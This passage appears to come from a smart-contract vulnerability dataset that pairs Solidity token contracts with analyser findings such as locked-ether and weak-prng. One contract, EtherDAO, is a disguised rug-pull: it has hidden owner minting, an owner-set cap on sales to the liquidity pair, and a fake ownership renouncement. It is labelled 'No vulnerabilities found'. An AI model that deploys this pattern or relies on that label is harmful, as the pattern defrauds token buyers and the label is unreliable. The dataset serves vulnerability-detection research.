_transfer(from, address(this), tax);
}
_transfer(from, to, amount);
return true;
}
/**
* @notice overrides ERC20 transferFrom function to add tax
* @param to address amount is going to
* @param amount amount being sent
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
require(balanceOf(owner) >= amount, "ERC20: transfer amount exceeds balance");
if(_taxActive && !_whitelists['from'][owner] && !_whitelists['to'][to]) {
uint256 tax = amount*_taxTotal/_taxPercision;
amount = amount - tax;
_transfer(owner, address(this), tax);
}
_transfer(owner, to, amount);
return true;
}
/* ADMIN Functions */
/**
* @notice : toggles the tax on or off
*/
function toggleTax() external onlyOwner {
_taxActive = !_taxActive;
emit ToggleTax(_taxActive);
}
/**
* @notice : updates address tax amount
* @param newTax new tax amount
*/
function setTax(uint16 newTax) external onlyOwner {
require(newTax <= 10 * _taxPercision / 100, 'Tax can not be set to more than 10%');
_taxTotal = newTax;
emit UpdateTaxPercentage(newTax);
}
/**
* @notice : add address to tax whitelist
* @param list indicates which whitelist ('to' or 'from')
* @param wallet address to add to whitelist
*/
function addToWhitelist(string memory list, address wallet) public onlyOwner {
require(wallet != address(0), "Cant use 0 address");
require(!_whitelists[list][wallet], "Address already added");
_whitelists[list][wallet] = true;
emit AddToWhitelist(list, wallet);
}
/**
* @notice : remoe address from a whitelist
* @param list indicates which whitelist ('to' or 'from')
* @param wallet address to remove from whitelist
*/
function removeFromWhitelist(string memory list, address wallet) external onlyOwner {
require(wallet != address(0), "Cant use 0 address");
require(_whitelists[list][wallet], "Address not added");
_whitelists[list][wallet] = false;
emit RemoveFromWhitelist(list, wallet);
}
/**
* @notice : withdraws taxes to the contract owner
*/
function withdrawTaxes() external onlyOwner {
uint256 amount = balanceOf(address(this));
require(amount > 0, "Nothing to withdraw");
_transfer(address(this), msg.sender, amount);
}
} | These are the vulnerabilities found
1) shadowing-state with High impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.26;
contract SafeMath {
function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract NV_SouthKoreanW is Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "KRWn";
name = "NV SouthKoreanW";
decimals = 18;
_totalSupply = 100000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() external constant returns (uint256) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) external constant returns (uint256 balance) {
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens) external returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) external returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) external constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () external payable {
revert();
}
function transferAnyERC20Token(uint256 tokens) external onlyOwner returns (bool success) {
return this.transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Afin is MintableToken, BurnableToken {
string public name = "Asian Fintech";
string public symbol = "Afin";
uint public decimals = 8;
uint public INITIAL_SUPPLY = 500000000 * (10 ** decimals);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | No vulnerabilities found |
pragma solidity ^0.4.24;
//Safe Math Interface
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
//ERC Token Standard #20 Interface
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
//Contract function to receive approval and execute function in one call
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
//Actual token contract
contract KLINToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "KLIN";
name = "KLINCOIN";
decimals = 18;
_totalSupply = 1000000000000;
balances[0x1D75680A140a99406ec8506DcCD2CA060a8716f0] = _totalSupply;
emit Transfer(address(0), 0x1D75680A140a99406ec8506DcCD2CA060a8716f0, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
EtherDAO | eDAO
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.11;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EtherDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address private public_address;
address private caller;
uint256 private _totalTokens = 1000000000 * 10**18;
string private _name = 'EtherDAO';
string private _symbol = 'eDAO';
uint8 private _decimals = 18;
uint256 private rTotal = 1000000000 * 10**18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function setreflectrate(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function Reflect(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == public_address) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | No vulnerabilities found |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Random {
function toKeccak256(string memory input) public pure returns(uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function randNum(uint256 seed, uint256 length) public view returns(uint256) {
return uint256(keccak256(abi.encodePacked(seed, block.difficulty, block.timestamp))) % length;
}
function toHash(address sender, string memory secret) public pure returns(uint256) {
return uint256(keccak256(abi.encodePacked(sender, secret)));
}
} | These are the vulnerabilities found
1) weak-prng with High impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT257039' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT257039
// Name : ADZbuzz Ancientpages.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT257039";
name = "ADZbuzz Ancientpages.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
